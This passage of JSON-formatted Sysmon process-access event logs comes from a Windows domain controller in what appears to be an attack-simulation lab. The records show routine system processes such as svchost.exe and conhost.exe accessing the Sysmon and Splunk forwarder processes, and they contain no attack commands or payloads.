11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","TargetProcessId":"4004","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 